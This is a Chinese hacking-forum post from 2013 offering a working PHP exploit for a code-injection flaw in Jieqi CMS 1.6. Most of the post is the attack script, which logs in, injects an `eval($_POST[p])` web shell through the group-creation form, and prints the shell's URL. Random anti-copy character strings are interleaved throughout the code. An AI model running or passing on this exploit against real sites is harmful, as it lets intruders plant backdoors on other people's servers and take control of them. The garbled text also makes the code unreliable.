找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2369|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
" p2 a# \! X/ t1 o* j% n! q2 i$ \3 u9 k' r) q- p

9 `- K0 q& d% J# f: c该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
0 ~4 W7 ?. S/ @) G3 U& [7 G' b 需要有一个能创建圈子的用户。
4 Y% h3 R7 b! u% b* W/ _
, ]7 @+ Q0 [5 j# O) a% y$ P<?php$ U4 f5 W$ h! v0 C

" [. g9 ~+ ^: g8 yprint_r('
* J9 r; |. L3 a( W1 q+---------------------------------------------------------------------------+
* }( T' K, B. IJieqi CMS V1.6 PHP Code Injection Exploit
( }! U; e" v4 q  Q8 mby flyh4t
/ d0 c+ i0 V" N) a9 ]mail: phpsec at hotmail dot com
. J+ D; r- |7 pteam: http://www.wolvez.org
+ K( l3 E# ?4 c& l, W/ Y) q+---------------------------------------------------------------------------++ k0 `- K4 G6 E8 d
'); /**( @$ I" M- F8 p' [% Z/ H- K% z# e3 \' R
* works regardless of php.ini settings
! V4 Q7 d6 h' G) e- D*/ if ($argc < 5) { print_r('
* K8 d* s3 L) ?2 z+---------------------------------------------------------------------------+( S4 S2 l$ L$ d& K# E: s/ N
Usage: php '.$argv[0].' host path username
4 f6 [. I- @# J# O' nhost:      target server (ip/hostname)
: [) z7 V" ], j. }. @5 apath:      path to jieqicms
3 ~1 r( O8 W4 Yuasename:  a username who can create group
. \' `. U6 x/ ^- {. B% J* lExample:
9 M: k$ j9 ^" q6 c( |4 b" @php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
3 G) K/ I3 `, P2 }, J+---------------------------------------------------------------------------+: l5 Z- V* K; i5 t( X- d
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
  n" Q& a" `# g1 e& {6 ^Content-Disposition: form-data; name="gname"7 H9 k% S6 @' {; h. _

4 U% `$ m$ D' A9 c'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
1 K3 w5 I9 H4 r+ q8 H3 @8 _-----------------------------23281168279961
5 W7 H# {- r, @5 m$ ~Content-Disposition: form-data; name="gcatid"
0 v; Y/ ?9 A0 _7 t' }0 V
( [6 W7 x( }: s( g' m) x. u) g1
- P9 R# v: a9 X" Q$ J/ t-----------------------------23281168279961& N9 R  V6 @4 |3 I
Content-Disposition: form-data; name="gaudit"# x% S7 v# d; F' [$ a2 e

1 v% r4 T5 X0 B, k1
! T0 |. V9 B( e-----------------------------232811682799615 ~8 ^$ g8 L/ P# d* x7 S( k
Content-Disposition: form-data; name="gbrief"
( R! I4 i6 X. B  E2 y% O
' _5 y" W: W2 t4 D1 Y3 A1
  _5 R0 y/ D, w' g* k8 h' m-----------------------------23281168279961--1 E& q$ n# r! g. C" \# r6 ]+ j
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
+ K( N8 Y6 V4 `( H  t  ^6 n   }# ^3 q7 x7 F% i% \
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表